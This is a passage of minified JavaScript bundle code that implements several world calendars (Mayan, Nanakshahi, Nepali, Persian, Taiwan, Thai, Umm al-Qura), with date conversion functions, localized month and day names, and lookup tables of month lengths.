this._validate(d,this.minMonth,this.minDay,M.local.invalidYear),!1},formatYear:function(d){var g=this._validate(d,this.minMonth,this.minDay,M.local.invalidYear);d=g.year();var t=Math.floor(d/400);d=d%400,d+=d<0?400:0;var r=Math.floor(d/20);return t+"."+r+"."+d%20},forYear:function(d){if(d=d.split("."),d.length<3)throw"Invalid Mayan year";for(var g=0,t=0;t<d.length;t++){var r=parseInt(d[t],10);if(Math.abs(r)>19||t>0&&r<0)throw"Invalid Mayan year";g=g*20+r}return g},monthsInYear:function(d){return this._validate(d,this.minMonth,this.minDay,M.local.invalidYear),18},weekOfYear:function(d,g,t){return this._validate(d,g,t,M.local.invalidDate),0},daysInYear:function(d){return this._validate(d,this.minMonth,this.minDay,M.local.invalidYear),360},daysInMonth:function(d,g){return this._validate(d,g,this.minDay,M.local.invalidMonth),20},daysInWeek:function(){return 5},dayOfWeek:function(d,g,t){var r=this._validate(d,g,t,M.local.invalidDate);return r.day()},weekDay:function(d,g,t){return this._validate(d,g,t,M.local.invalidDate),!0},extraInfo:function(d,g,t){var r=this._validate(d,g,t,M.local.invalidDate),f=r.toJD(),a=this._toHaab(f),l=this._toTzolkin(f);return{haabMonthName:this.local.haabMonths[a[0]-1],haabMonth:a[0],haabDay:a[1],tzolkinDayName:this.local.tzolkinMonths[l[0]-1],tzolkinDay:l[0],tzolkinTrecena:l[1]}},_toHaab:function(d){d-=this.jdEpoch;var g=L(d+8+17*20,365);return[Math.floor(g/20)+1,L(g,20)]},_toTzolkin:function(d){return d-=this.jdEpoch,[S(d+20,20),S(d+4,13)]},toJD:function(d,g,t){var r=this._validate(d,g,t,M.local.invalidDate);return r.day()+r.month()*20+r.year()*360+this.jdEpoch},fromJD:function(d){d=Math.floor(d)+.5-this.jdEpoch;var g=Math.floor(d/360);d=d%360,d+=d<0?360:0;var t=Math.floor(d/20),r=d%20;return this.newDate(g,t,r)}});function L(d,g){return d-g*Math.floor(d/g)}function S(d,g){return L(d-1,g)+1}M.calendars.mayan=o},29108:function(te,Z,e){var M=e(63489),P=e(56131);function o(S){this.local=this.regionalOptions[S||""]||this.regionalOptions[""]}o.prototype=new M.baseCalendar;var L=M.instance("gregorian");P(o.prototype,{name:"Nanakshahi",jdEpoch:22576735e-1,daysPerMonth:[31,31,31,31,31,30,30,30,30,30,30,30],hasYearZero:!1,minMonth:1,firstMonth:1,minDay:1,regionalOptions:{"":{name:"Nanakshahi",epochs:["BN","AN"],monthNames:["Chet","Vaisakh","Jeth","Harh","Sawan","Bhadon","Assu","Katak","Maghar","Poh","Magh","Phagun"],monthNamesShort:["Che","Vai","Jet","Har","Saw","Bha","Ass","Kat","Mgr","Poh","Mgh","Pha"],dayNames:["Somvaar","Mangalvar","Budhvaar","Veervaar","Shukarvaar","Sanicharvaar","Etvaar"],dayNamesShort:["Som","Mangal","Budh","Veer","Shukar","Sanichar","Et"],dayNamesMin:["So","Ma","Bu","Ve","Sh","Sa","Et"],digits:null,dateFormat:"dd-mm-yyyy",firstDay:0,isRTL:!1}},leapYear:function(S){var d=this._validate(S,this.minMonth,this.minDay,M.local.invalidYear||M.regionalOptions[""].invalidYear);return L.leapYear(d.year()+(d.year()<1?1:0)+1469)},weekOfYear:function(S,d,g){var t=this.newDate(S,d,g);return t.add(1-(t.dayOfWeek()||7),"d"),Math.floor((t.dayOfYear()-1)/7)+1},daysInMonth:function(S,d){var g=this._validate(S,d,this.minDay,M.local.invalidMonth);return this.daysPerMonth[g.month()-1]+(g.month()===12&&this.leapYear(g.year())?1:0)},weekDay:function(S,d,g){return(this.dayOfWeek(S,d,g)||7)<6},toJD:function(r,d,g){var t=this._validate(r,d,g,M.local.invalidMonth),r=t.year();r<0&&r++;for(var f=t.day(),a=1;a<t.month();a++)f+=this.daysPerMonth[a-1];return f+L.toJD(r+1468,3,13)},fromJD:function(S){S=Math.floor(S+.5);for(var d=Math.floor((S-(this.jdEpoch-1))/366);S>=this.toJD(d+1,1,1);)d++;for(var g=S-Math.floor(this.toJD(d,1,1)+.5)+1,t=1;g>this.daysInMonth(d,t);)g-=this.daysInMonth(d,t),t++;return this.newDate(d,t,g)}}),M.calendars.nanakshahi=o},55422:function(te,Z,e){var M=e(63489),P=e(56131);function o(L){this.local=this.regionalOptions[L||""]||this.regionalOptions[""]}o.prototype=new M.baseCalendar,P(o.prototype,{name:"Nepali",jdEpoch:17007095e-1,daysPerMonth:[31,31,32,32,31,30,30,29,30,29,30,30],hasYearZero:!1,minMonth:1,firstMonth:1,minDay:1,daysPerYear:365,regionalOptions:{"":{name:"Nepali",epochs:["BBS","ABS"],monthNames:["Baisakh","Jestha","Ashadh","Shrawan","Bhadra","Ashwin","Kartik","Mangsir","Paush","Mangh","Falgun","Chaitra"],monthNamesShort:["Bai","Je","As","Shra","Bha","Ash","Kar","Mang","Pau","Ma","Fal","Chai"],dayNames:["Aaitabaar","Sombaar","Manglbaar","Budhabaar","Bihibaar","Shukrabaar","Shanibaar"],dayNamesShort:["Aaita","Som","Mangl","Budha","Bihi","Shukra","Shani"],dayNamesMin:["Aai","So","Man","Bu","Bi","Shu","Sha"],digits:null,dateFormat:"dd/mm/yyyy",firstDay:1,isRTL:!1}},leapYear:function(L){return this.daysInYear(L)!==this.daysPerYear},weekOfYear:function(L,S,d){var g=this.newDate(L,S,d);return g.add(-g.dayOfWeek(),"d"),Math.floor((g.dayOfYear()-1)/7)+1},daysInYear:function(L){var S=this._validate(L,this.minMonth,this.minDay,M.local.invalidYear);if(L=S.year(),typeof this.NEPALI_CALENDAR_DATA[L]>"u")return this.daysPerYear;for(var d=0,g=this.minMonth;g<=12;g++)d+=this.NEPALI_CALENDAR_DATA[L][g];return d},daysInMonth:function(L,S){return L.year&&(S=L.month(),L=L.year()),this._validate(L,S,this.minDay,M.local.invalidMonth),typeof this.NEPALI_CALENDAR_DATA[L]>"u"?this.daysPerMonth[S-1]:this.NEPALI_CALENDAR_DATA[L][S]},weekDay:function(L,S,d){return this.dayOfWeek(L,S,d)!==6},toJD:function(L,S,d){var g=this._validate(L,S,d,M.local.invalidDate);L=g.year(),S=g.month(),d=g.day();var t=M.instance(),r=0,f=S,a=L;this._createMissingCalendarData(L);var l=L-(f>9||f===9&&d>=this.NEPALI_CALENDAR_DATA[a][0]?56:57);for(S!==9&&(r=d,f--);f!==9;)f<=0&&(f=12,a--),r+=this.NEPALI_CALENDAR_DATA[a][f],f--;return S===9?(r+=d-this.NEPALI_CALENDAR_DATA[a][0],r<0&&(r+=t.daysInYear(l))):r+=this.NEPALI_CALENDAR_DATA[a][9]-this.NEPALI_CALENDAR_DATA[a][0],t.newDate(l,1,1).add(r,"d").toJD()},fromJD:function(L){var S=M.instance(),d=S.fromJD(L),g=d.year(),t=d.dayOfYear(),r=g+56;this._createMissingCalendarData(r);for(var f=9,a=this.NEPALI_CALENDAR_DATA[r][0],l=this.NEPALI_CALENDAR_DATA[r][f]-a+1;t>l;)f++,f>12&&(f=1,r++),l+=this.NEPALI_CALENDAR_DATA[r][f];var u=this.NEPALI_CALENDAR_DATA[r][f]-(l-t);return this.newDate(r,f,u)},_createMissingCalendarData:function(L){var S=this.daysPerMonth.slice(0);S.unshift(17);for(var d=L-1;d<L+2;d++)typeof this.NEPALI_CALENDAR_DATA[d]>"u"&&(this.NEPALI_CALENDAR_DATA[d]=S)},NEPALI_CALENDAR_DATA:{1970:[18,31,31,32,31,31,31,30,29,30,29,30,30],1971:[18,31,31,32,31,32,30,30,29,30,29,30,30],1972:[17,31,32,31,32,31,30,30,30,29,29,30,30],1973:[19,30,32,31,32,31,30,30,30,29,30,29,31],1974:[19,31,31,32,30,31,31,30,29,30,29,30,30],1975:[18,31,31,32,32,30,31,30,29,30,29,30,30],1976:[17,31,32,31,32,31,30,30,30,29,29,30,31],1977:[18,31,32,31,32,31,31,29,30,29,30,29,31],1978:[18,31,31,32,31,31,31,30,29,30,29,30,30],1979:[18,31,31,32,32,31,30,30,29,30,29,30,30],1980:[17,31,32,31,32,31,30,30,30,29,29,30,31],1981:[18,31,31,31,32,31,31,29,30,30,29,30,30],1982:[18,31,31,32,31,31,31,30,29,30,29,30,30],1983:[18,31,31,32,32,31,30,30,29,30,29,30,30],1984:[17,31,32,31,32,31,30,30,30,29,29,30,31],1985:[18,31,31,31,32,31,31,29,30,30,29,30,30],1986:[18,31,31,32,31,31,31,30,29,30,29,30,30],1987:[18,31,32,31,32,31,30,30,29,30,29,30,30],1988:[17,31,32,31,32,31,30,30,30,29,29,30,31],1989:[18,31,31,31,32,31,31,30,29,30,29,30,30],1990:[18,31,31,32,31,31,31,30,29,30,29,30,30],1991:[18,31,32,31,32,31,30,30,29,30,29,30,30],1992:[17,31,32,31,32,31,30,30,30,29,30,29,31],1993:[18,31,31,31,32,31,31,30,29,30,29,30,30],1994:[18,31,31,32,31,31,31,30,29,30,29,30,30],1995:[17,31,32,31,32,31,30,30,30,29,29,30,30],1996:[17,31,32,31,32,31,30,30,30,29,30,29,31],1997:[18,31,31,32,31,31,31,30,29,30,29,30,30],1998:[18,31,31,32,31,31,31,30,29,30,29,30,30],1999:[17,31,32,31,32,31,30,30,30,29,29,30,31],2e3:[17,30,32,31,32,31,30,30,30,29,30,29,31],2001:[18,31,31,32,31,31,31,30,29,30,29,30,30],2002:[18,31,31,32,32,31,30,30,29,30,29,30,30],2003:[17,31,32,31,32,31,30,30,30,29,29,30,31],2004:[17,30,32,31,32,31,30,30,30,29,30,29,31],2005:[18,31,31,32,31,31,31,30,29,30,29,30,30],2006:[18,31,31,32,32,31,30,30,29,30,29,30,30],2007:[17,31,32,31,32,31,30,30,30,29,29,30,31],2008:[17,31,31,31,32,31,31,29,30,30,29,29,31],2009:[18,31,31,32,31,31,31,30,29,30,29,30,30],2010:[18,31,31,32,32,31,30,30,29,30,29,30,30],2011:[17,31,32,31,32,31,30,30,30,29,29,30,31],2012:[17,31,31,31,32,31,31,29,30,30,29,30,30],2013:[18,31,31,32,31,31,31,30,29,30,29,30,30],2014:[18,31,31,32,32,31,30,30,29,30,29,30,30],2015:[17,31,32,31,32,31,30,30,30,29,29,30,31],2016:[17,31,31,31,32,31,31,29,30,30,29,30,30],2017:[18,31,31,32,31,31,31,30,29,30,29,30,30],2018:[18,31,32,31,32,31,30,30,29,30,29,30,30],2019:[17,31,32,31,32,31,30,30,30,29,30,29,31],2020:[17,31,31,31,32,31,31,30,29,30,29,30,30],2021:[18,31,31,32,31,31,31,30,29,30,29,30,30],2022:[17,31,32,31,32,31,30,30,30,29,29,30,30],2023:[17,31,32,31,32,31,30,30,30,29,30,29,31],2024:[17,31,31,31,32,31,31,30,29,30,29,30,30],2025:[18,31,31,32,31,31,31,30,29,30,29,30,30],2026:[17,31,32,31,32,31,30,30,30,29,29,30,31],2027:[17,30,32,31,32,31,30,30,30,29,30,29,31],2028:[17,31,31,32,31,31,31,30,29,30,29,30,30],2029:[18,31,31,32,31,32,30,30,29,30,29,30,30],2030:[17,31,32,31,32,31,30,30,30,30,30,30,31],2031:[17,31,32,31,32,31,31,31,31,31,31,31,31],2032:[17,32,32,32,32,32,32,32,32,32,32,32,32],2033:[18,31,31,32,32,31,30,30,29,30,29,30,30],2034:[17,31,32,31,32,31,30,30,30,29,29,30,31],2035:[17,30,32,31,32,31,31,29,30,30,29,29,31],2036:[17,31,31,32,31,31,31,30,29,30,29,30,30],2037:[18,31,31,32,32,31,30,30,29,30,29,30,30],2038:[17,31,32,31,32,31,30,30,30,29,29,30,31],2039:[17,31,31,31,32,31,31,29,30,30,29,30,30],2040:[17,31,31,32,31,31,31,30,29,30,29,30,30],2041:[18,31,31,32,32,31,30,30,29,30,29,30,30],2042:[17,31,32,31,32,31,30,30,30,29,29,30,31],2043:[17,31,31,31,32,31,31,29,30,30,29,30,30],2044:[17,31,31,32,31,31,31,30,29,30,29,30,30],2045:[18,31,32,31,32,31,30,30,29,30,29,30,30],2046:[17,31,32,31,32,31,30,30,30,29,29,30,31],2047:[17,31,31,31,32,31,31,30,29,30,29,30,30],2048:[17,31,31,32,31,31,31,30,29,30,29,30,30],2049:[17,31,32,31,32,31,30,30,30,29,29,30,30],2050:[17,31,32,31,32,31,30,30,30,29,30,29,31],2051:[17,31,31,31,32,31,31,30,29,30,29,30,30],2052:[17,31,31,32,31,31,31,30,29,30,29,30,30],2053:[17,31,32,31,32,31,30,30,30,29,29,30,30],2054:[17,31,32,31,32,31,30,30,30,29,30,29,31],2055:[17,31,31,32,31,31,31,30,29,30,30,29,30],2056:[17,31,31,32,31,32,30,30,29,30,29,30,30],2057:[17,31,32,31,32,31,30,30,30,29,29,30,31],2058:[17,30,32,31,32,31,30,30,30,29,30,29,31],2059:[17,31,31,32,31,31,31,30,29,30,29,30,30],2060:[17,31,31,32,32,31,30,30,29,30,29,30,30],2061:[17,31,32,31,32,31,30,30,30,29,29,30,31],2062:[17,30,32,31,32,31,31,29,30,29,30,29,31],2063:[17,31,31,32,31,31,31,30,29,30,29,30,30],2064:[17,31,31,32,32,31,30,30,29,30,29,30,30],2065:[17,31,32,31,32,31,30,30,30,29,29,30,31],2066:[17,31,31,31,32,31,31,29,30,30,29,29,31],2067:[17,31,31,32,31,31,31,30,29,30,29,30,30],2068:[17,31,31,32,32,31,30,30,29,30,29,30,30],2069:[17,31,32,31,32,31,30,30,30,29,29,30,31],2070:[17,31,31,31,32,31,31,29,30,30,29,30,30],2071:[17,31,31,32,31,31,31,30,29,30,29,30,30],2072:[17,31,32,31,32,31,30,30,29,30,29,30,30],2073:[17,31,32,31,32,31,30,30,30,29,29,30,31],2074:[17,31,31,31,32,31,31,30,29,30,29,30,30],2075:[17,31,31,32,31,31,31,30,29,30,29,30,30],2076:[16,31,32,31,32,31,30,30,30,29,29,30,30],2077:[17,31,32,31,32,31,30,30,30,29,30,29,31],2078:[17,31,31,31,32,31,31,30,29,30,29,30,30],2079:[17,31,31,32,31,31,31,30,29,30,29,30,30],2080:[16,31,32,31,32,31,30,30,30,29,29,30,30],2081:[17,31,31,32,32,31,30,30,30,29,30,30,30],2082:[17,31,32,31,32,31,30,30,30,29,30,30,30],2083:[17,31,31,32,31,31,30,30,30,29,30,30,30],2084:[17,31,31,32,31,31,30,30,30,29,30,30,30],2085:[17,31,32,31,32,31,31,30,30,29,30,30,30],2086:[17,31,32,31,32,31,30,30,30,29,30,30,30],2087:[16,31,31,32,31,31,31,30,30,29,30,30,30],2088:[16,30,31,32,32,30,31,30,30,29,30,30,30],2089:[17,31,32,31,32,31,30,30,30,29,30,30,30],2090:[17,31,32,31,32,31,30,30,30,29,30,30,30],2091:[16,31,31,32,31,31,31,30,30,29,30,30,30],2092:[16,31,31,32,32,31,30,30,30,29,30,30,30],2093:[17,31,32,31,32,31,30,30,30,29,30,30,30],2094:[17,31,31,32,31,31,30,30,30,29,30,30,30],2095:[17,31,31,32,31,31,31,30,29,30,30,30,30],2096:[17,30,31,32,32,31,30,30,29,30,29,30,30],2097:[17,31,32,31,32,31,30,30,30,29,30,30,30],2098:[17,31,31,32,31,31,31,29,30,29,30,30,31],2099:[17,31,31,32,31,31,31,30,29,29,30,30,30],2100:[17,31,32,31,32,30,31,30,29,30,29,30,30]}}),M.calendars.nepali=o},94320:function(te,Z,e){var M=e(63489),P=e(56131);function o(S){this.local=this.regionalOptions[S||""]||this.regionalOptions[""]}o.prototype=new M.baseCalendar,P(o.prototype,{name:"Persian",jdEpoch:19483205e-1,daysPerMonth:[31,31,31,31,31,31,30,30,30,30,30,29],hasYearZero:!1,minMonth:1,firstMonth:1,minDay:1,regionalOptions:{"":{name:"Persian",epochs:["BP","AP"],monthNames:["Farvardin","Ordibehesht","Khordad","Tir","Mordad","Shahrivar","Mehr","Aban","Azar","Day","Bahman","Esfand"],monthNamesShort:["Far","Ord","Kho","Tir","Mor","Sha","Meh","Aba","Aza","Day","Bah","Esf"],dayNames:["Yekshambe","Doshambe","Seshambe","Chæharshambe","Panjshambe","Jom'e","Shambe"],dayNamesShort:["Yek","Do","Se","Chæ","Panj","Jom","Sha"],dayNamesMin:["Ye","Do","Se","Ch","Pa","Jo","Sh"],digits:null,dateFormat:"yyyy/mm/dd",firstDay:6,isRTL:!1}},leapYear:function(S){var d=this._validate(S,this.minMonth,this.minDay,M.local.invalidYear);return((d.year()-(d.year()>0?474:473))%2820+474+38)*682%2816<682},weekOfYear:function(S,d,g){var t=this.newDate(S,d,g);return t.add(-((t.dayOfWeek()+1)%7),"d"),Math.floor((t.dayOfYear()-1)/7)+1},daysInMonth:function(S,d){var g=this._validate(S,d,this.minDay,M.local.invalidMonth);return this.daysPerMonth[g.month()-1]+(g.month()===12&&this.leapYear(g.year())?1:0)},weekDay:function(S,d,g){return this.dayOfWeek(S,d,g)!==5},toJD:function(S,d,g){var t=this._validate(S,d,g,M.local.invalidDate);S=t.year(),d=t.month(),g=t.day();var r=S-(S>=0?474:473),f=474+L(r,2820);return g+(d<=7?(d-1)*31:(d-1)*30+6)+Math.floor((f*682-110)/2816)+(f-1)*365+Math.floor(r/2820)*1029983+this.jdEpoch-1},fromJD:function(S){S=Math.floor(S)+.5;var d=S-this.toJD(475,1,1),g=Math.floor(d/1029983),t=L(d,1029983),r=2820;if(t!==1029982){var f=Math.floor(t/366),a=L(t,366);r=Math.floor((2134*f+2816*a+2815)/1028522)+f+1}var l=r+2820*g+474;l=l<=0?l-1:l;var u=S-this.toJD(l,1,1)+1,s=u<=186?Math.ceil(u/31):Math.ceil((u-6)/30),y=S-this.toJD(l,s,1)+1;return this.newDate(l,s,y)}});function L(S,d){return S-d*Math.floor(S/d)}M.calendars.persian=o,M.calendars.jalali=o},31320:function(te,Z,e){var M=e(63489),P=e(56131),o=M.instance();function L(S){this.local=this.regionalOptions[S||""]||this.regionalOptions[""]}L.prototype=new M.baseCalendar,P(L.prototype,{name:"Taiwan",jdEpoch:24194025e-1,yearsOffset:1911,daysPerMonth:[31,28,31,30,31,30,31,31,30,31,30,31],hasYearZero:!1,minMonth:1,firstMonth:1,minDay:1,regionalOptions:{"":{name:"Taiwan",epochs:["BROC","ROC"],monthNames:["January","February","March","April","May","June","July","August","September","October","November","December"],monthNamesShort:["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"],dayNames:["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"],dayNamesShort:["Sun","Mon","Tue","Wed","Thu","Fri","Sat"],dayNamesMin:["Su","Mo","Tu","We","Th","Fr","Sa"],digits:null,dateFormat:"yyyy/mm/dd",firstDay:1,isRTL:!1}},leapYear:function(g){var d=this._validate(g,this.minMonth,this.minDay,M.local.invalidYear),g=this._t2gYear(d.year());return o.leapYear(g)},weekOfYear:function(r,d,g){var t=this._validate(r,this.minMonth,this.minDay,M.local.invalidYear),r=this._t2gYear(t.year());return o.weekOfYear(r,t.month(),t.day())},daysInMonth:function(S,d){var g=this._validate(S,d,this.minDay,M.local.invalidMonth);return this.daysPerMonth[g.month()-1]+(g.month()===2&&this.leapYear(g.year())?1:0)},weekDay:function(S,d,g){return(this.dayOfWeek(S,d,g)||7)<6},toJD:function(r,d,g){var t=this._validate(r,d,g,M.local.invalidDate),r=this._t2gYear(t.year());return o.toJD(r,t.month(),t.day())},fromJD:function(S){var d=o.fromJD(S),g=this._g2tYear(d.year());return this.newDate(g,d.month(),d.day())},_t2gYear:function(S){return S+this.yearsOffset+(S>=-this.yearsOffset&&S<=-1?1:0)},_g2tYear:function(S){return S-this.yearsOffset-(S>=1&&S<=this.yearsOffset?1:0)}}),M.calendars.taiwan=L},51367:function(te,Z,e){var M=e(63489),P=e(56131),o=M.instance();function L(S){this.local=this.regionalOptions[S||""]||this.regionalOptions[""]}L.prototype=new M.baseCalendar,P(L.prototype,{name:"Thai",jdEpoch:15230985e-1,yearsOffset:543,daysPerMonth:[31,28,31,30,31,30,31,31,30,31,30,31],hasYearZero:!1,minMonth:1,firstMonth:1,minDay:1,regionalOptions:{"":{name:"Thai",epochs:["BBE","BE"],monthNames:["January","February","March","April","May","June","July","August","September","October","November","December"],monthNamesShort:["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"],dayNames:["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"],dayNamesShort:["Sun","Mon","Tue","Wed","Thu","Fri","Sat"],dayNamesMin:["Su","Mo","Tu","We","Th","Fr","Sa"],digits:null,dateFormat:"dd/mm/yyyy",firstDay:0,isRTL:!1}},leapYear:function(g){var d=this._validate(g,this.minMonth,this.minDay,M.local.invalidYear),g=this._t2gYear(d.year());return o.leapYear(g)},weekOfYear:function(r,d,g){var t=this._validate(r,this.minMonth,this.minDay,M.local.invalidYear),r=this._t2gYear(t.year());return o.weekOfYear(r,t.month(),t.day())},daysInMonth:function(S,d){var g=this._validate(S,d,this.minDay,M.local.invalidMonth);return this.daysPerMonth[g.month()-1]+(g.month()===2&&this.leapYear(g.year())?1:0)},weekDay:function(S,d,g){return(this.dayOfWeek(S,d,g)||7)<6},toJD:function(r,d,g){var t=this._validate(r,d,g,M.local.invalidDate),r=this._t2gYear(t.year());return o.toJD(r,t.month(),t.day())},fromJD:function(S){var d=o.fromJD(S),g=this._g2tYear(d.year());return this.newDate(g,d.month(),d.day())},_t2gYear:function(S){return S-this.yearsOffset-(S>=1&&S<=this.yearsOffset?1:0)},_g2tYear:function(S){return S+this.yearsOffset+(S>=-this.yearsOffset&&S<=-1?1:0)}}),M.calendars.thai=L},21457:function(te,Z,e){var M=e(63489),P=e(56131);function o(S){this.local=this.regionalOptions[S||""]||this.regionalOptions[""]}o.prototype=new M.baseCalendar,P(o.prototype,{name:"UmmAlQura",hasYearZero:!1,minMonth:1,firstMonth:1,minDay:1,regionalOptions:{"":{name:"Umm al-Qura",epochs:["BH","AH"],monthNames:["Al-Muharram","Safar","Rabi' al-awwal","Rabi' Al-Thani","Jumada Al-Awwal","Jumada Al-Thani","Rajab","Sha'aban","Ramadan","Shawwal","Dhu al-Qi'dah","Dhu al-Hijjah"],monthNamesShort:["Muh","Saf","Rab1","Rab2","Jum1","Jum2","Raj","Sha'","Ram","Shaw","DhuQ","DhuH"],dayNames:["Yawm al-Ahad","Yawm al-Ithnain","Yawm al-Thalāthā’","Yawm al-Arba‘ā’","Yawm al-Khamīs","Yawm al-Jum‘a","Yawm al-Sabt"],dayNamesMin:["Ah","Ith","Th","Ar","Kh","Ju","Sa"],digits:null,dateFormat:"yyyy/mm/dd",firstDay:6,isRTL:!0}},leapYear:function(S){var d=this._validate(S,this.minMonth,this.minDay,M.local.invalidYear);return this.daysInYear(d.year())===355},weekOfYear:function(S,d,g){var t=this.newDate(S,d,g);return t.add(-t.dayOfWeek(),"d"),Math.floor((t.dayOfYear()-1)/7)+1},daysInYear:function(S){for(var d=0,g=1;g<=12;g++)d+=this.daysInMonth(S,g);return d},daysInMonth:function(S,d){for(var g=this._validate(S,d,this.minDay,M.local.invalidMonth),t=g.toJD()-24e5+.5,r=0,f=0;f<L.length;f++){if(L[f]>t)return L[r]-L[r-1];r++}return 30},weekDay:function(S,d,g){return this.dayOfWeek(S,d,g)!==5},toJD:function(S,d,g){var t=this._validate(S,d,g,M.local.invalidDate),r=12*(t.year()-1)+t.month()-15292,f=t.day()+L[r-1]-1;return f+24e5-.5},fromJD:function(S){for(var d=S-24e5+.5,g=0,t=0;t<L.length&&!(L[t]>d);t++)g++;var r=g+15292,f=Math.floor((r-1)/12),a=f+1,l=r-12*f,u=d-L[g-1]+1;return this.newDate(a,l,u)},isValid:function(S,d,g){var t=M.baseCalendar.prototype.isValid.apply(this,arguments);return t&&(S=S.year!=null?S.year:S,t=S>=1276&&S<=1500),t},_validate:function(S,d,g,t){var r=M.baseCalendar.prototype._validate.apply(this,arguments);if(r.year<1276||r.year>1500)throw t.replace(/\{0\}/,this.local.name);return r}}),M.calendars.ummalqura=o;var L=[20,50,79,109,138,168,197,227,256,286,315,345,374,404,433,463,492,522,551,581,611,641,670,700,729,759,788,818,847,877,906,936,965,995,1024,1054,1083,1113,1142,1172,1201,1231,1260,1290,1320,1350,1379,1409,1438,1468,1497,1527,1556,1586,1615,1645,1674,1704,1733,1763,1792,1822,1851,1881,1910,1940,1969,1999,2028,2058,2087,2117,2146,2176,2205,2235,2264,2294,2323,2353,2383,2413,2442,2472,2501,2531,2560,2590,2619,2649,2678,2708,2737,2767,2796,2826,2855,2885,2914,2944,2973,3003,3032,3062,3091,3121,3150,3180,3209,3239,3268,3298,3327,3357,3386,3416,3446,3476,3505,3535,3564,3594,3623,3653,3682,3712,3741,3771,3800,3830,3859,3889,3918,3948,3977,4007,4036,4066,4095,4125,4155,4185,4214,4244,4273,4303,4332,4362,4391,4421,4450,4480,4509,4539,4568,4598,4627,4657,4686,4716,4745,4775,4804,4834,4863,4893,4922,4952,4981,5011,5040,5070,5099,5129,5158,5188,5218,5248,5277,5307,5336,5366,5395,5425,5454,5484,5513,5543,5572,5602,5631,5661,5690,5720,5749,5779,5808,5838,5867,5897,5926,5956,5985,6015,6044,6074,6103,6133,6162,6192,6221,6251,6281,6311,6340,6370,6399,6429,6458,6488,6517,6547,6576,6606,6635,6665,6694,6724,6753,6783,6812,6842,6871,6901,6930,6960,6989,7019,7048,7078,7107,7137,7166,7196,7225,7255,7284,7314,7344,7374,7403,7433,7462,7492,7521,7551,7580,7610,7639,7669,7698,7728,7757,7787,7816,7846,7875,7905,7934,7964,7993,8023,8053,8083,8112,8142,8171,8201,8230,8260,8289,8319,8348,8378,8407,8437,8466,8496,8525,8555,8584,8614,8643,8673,8702,8732,8761,8791,8821,8850,8880,8909,8938,8968,8997,9027,9056,9086,9115,9145,9175,9205,9234,9264,9293,9322,9352,9381,9410,9440,9470,9499,9529,9559,9589,9618,9648,9677,9706,9736,9765,9794,9824,9853,9883,9913,9943,9972,10002,10032,10061,10090,10120,10149,10178,10208,10237,10267,10297,10326,10356,10386,10415,10445,10474,10504,10533,10562,10592,10621,10651,10680,10710,10740,10770,10799,10829,10858,10888,10917,10947,10976,11005,11035,11064,11094,11124,11153,11183,11213,11242,11272,11301,11331,11360,11389,11419,11448,11478,11507,11537,11567,11596,11626,11655,11685,11715,11744,11774,11803,11832,11862,11891,11921,11950,11980,12010,12039,12069,12099,12128,12158,12187,12216,12246,12275,12304,12334,12364,12393,12423,12453,12483,12512,12542,12571,12600,12630,12659,12688,12718,12747,12777,12807,12837,12866,12896,12926,12955,12984,13014,13043,13072,13102,13131,13161,13191,13220,13250,13280,13310,13339,13368,13398,13427,13456,13486,13515,13545,13574,13604,13634,13664,13693,13723,13752,13782,13811,13840,13870,13899,13929,13958,13988,14018,14047,14077,14107,14136,14166,14195,14224,14254,14283,14313,14342,14372,14401,14431,14461,14490,14520,14550,14579,14609,14638,14667,14697,14726,14756,14785,14815,14844,14874,14904,14933,14963,14993,15021,15051,15081,15110,15140,15169,15199,15228,15258,15287,15317,15347,15377,15406,15436,15465,15494,15524,15553,15582,15612,15641,15671,15701,15731,15760,15790,15820,15849,15878,15908,15937,15966,15996,16025,16055,16085,16114,16144,16174,16204,16233,16262,16292,16321,16350,16380,16409,16439,16468,16498,16528,16558,16587,16617,16646,16676,16705,16734,16764,16793,16823,16852,16882,16912,16941,16971,17001,17030,17060,17089,17118,17148,17177,17207,17236,17266,17295,17325,17355,17384,17414,17444,17473,17502,17532,17561,17591,17620,17650,17679,17709,17738,17768,17798,17827,17857,17886,17916,17945,17975,18004,18034,18063,18093,18122,18152,18181,18211,18241,18270,18300,18330,18359,18388,18418,18447,18476,18506,18535,18565,18595,18625,18654,18684,18714,18743,18772,18802,18831,18860,18890,18919,18949,18979,19008,19038,19068,19098,19127,19156,19186,19215,19244,19274,19303,19333,19362,19392,19422,19452,19481,19511,19540,19570,19599,19628,19658,19687,19717,19746,19776,19806,19836,19865,19895,19924,19954,19983,20012,20042,20071,20101,20130,20160,20190,20219,20249,20279,20308,20338,20367,20396,20426,20455,20485,20514,20544,20573,20603,20633,20662,20692,20721,20751,20780,20810,20839,20869,20898,20928,20957,20987,21016,21046,21076,21105,21135,21164,21194,21223,21253,21282,21312,21341,21371,21400,21430,21459,21489,21519,21548,21578,21607,21637,21666,21696,21725,21754,21784,21813,21843,21873,21902,21932,21962,21991,22021,22050,22080,22109,22138,22168,22197,22227,22256,22286,22316,22346,22375,22405,22434,22464,22493,22522,22552,22581,22611,22640,22670,22700,22730,22759,22789,22818,22848,22877,22906,22936,22965,22994,23024,23054,23083,23113,23143,23173,23202,23232,23261,23290,23320,23349,23379,23408,23438,23467,23497,23527,23556,23586,23616,23645,23674,23704,23733,23763,23792,23822,23851,23881,23910,23940,23970,23999,24029,24058,24088,24117,24147,24176,24206,24235,24265,24294,24324,24353,24383,24413,24442,24472,24501,24531,24560,24590,24619,24648,24678,24707,24737,24767,24796,24826,24856,24885,24915,24944,24974,25003,25032,25062,25091,25121,25150,25180,25210,25240,25269,25299,25328,25358,25387,25416,25446,25475,25505,25534,25564,25594,25624,25653,25683,25712,25742,25771,25800,25830,25859,25888,25918,25948,25977,26007,26037,26067,26096,26126,26155,26184,26214,26243,26272,26302,26332,26361,26391,26421,26451,26480,26510,26539,26568,26598,26627,26656,26686,26715,26745,26775,26805,26834,26864,26893,26923,26952,26982,27011,27041,27070,27099,27129,27159,27188,27218,27248,27277,27307,27336,27366,27395,27425,27454,27484,27513,27542,27572,27602,27631,27661,27691,27720,27750,27779,27809,27838,27868,27897,27926,27956,27985,28015,28045,28074,28104,28134,28163,28193,28222,28252,28281,28310,28340,28369,28399,28428,28458,28488,28517,28547,28577,28607,28636,28665,28695,28724,28754,28783,28813,28843,28872,28901,28931,28960,28990,29019,29049,29078,29108,29137,29167,29196,29226,29255,29285,29315,29345,29375,29404,29434,29463,29492,29